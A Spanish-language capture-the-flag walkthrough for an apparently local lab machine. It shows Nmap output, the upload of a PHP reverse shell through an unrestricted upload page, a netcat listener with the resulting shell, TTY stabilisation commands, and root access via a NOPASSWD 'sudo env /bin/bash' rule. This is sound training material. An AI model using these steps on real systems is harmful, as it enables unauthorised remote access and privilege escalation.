Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-08 11:05 CET
Nmap scan report for 172.17.0.2
Host is up (0.000036s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Upload here your file
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds
Vemos que hay un puerto 80 y si entramos veremos una pagina en la que podremos subir un archivo, por lo que vamos a probar a subir un .php para crear una reverse shell.
Ahora nos vamos a la pagina y subiremos el archivo, veremos que se pudo subir correctamente sin ningun tipo de restrciccion, ahora vamos a ver donde esta subir dicho archivo.
Si probamos a poner /uploads veremos que si funciona y estara dentro nuestro archivo, por lo que antes de clicarlo para ejecutarlo nos pondremos a la escucha de la siguiente forma:
nc -lvnp <PORT>
Y ahora pinchamos el archivo, una vez echo eso, si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.28] from (UNKNOWN) [172.17.0.2] 32890
whoami
www-data
Por lo que vemos seremos el usuario www-data, ahora tendremos que sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on 702664e2e7ef:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on 702664e2e7ef:
(root) NOPASSWD: /usr/bin/env
Vemos que podemos ejecutar el binario env como el usuario root por lo que haremos lo siguiente:
sudo env /bin/bash
Info:
root@702664e2e7ef:/home# whoami
root
Con esto seremos root por lo que habremos terminado la maquina.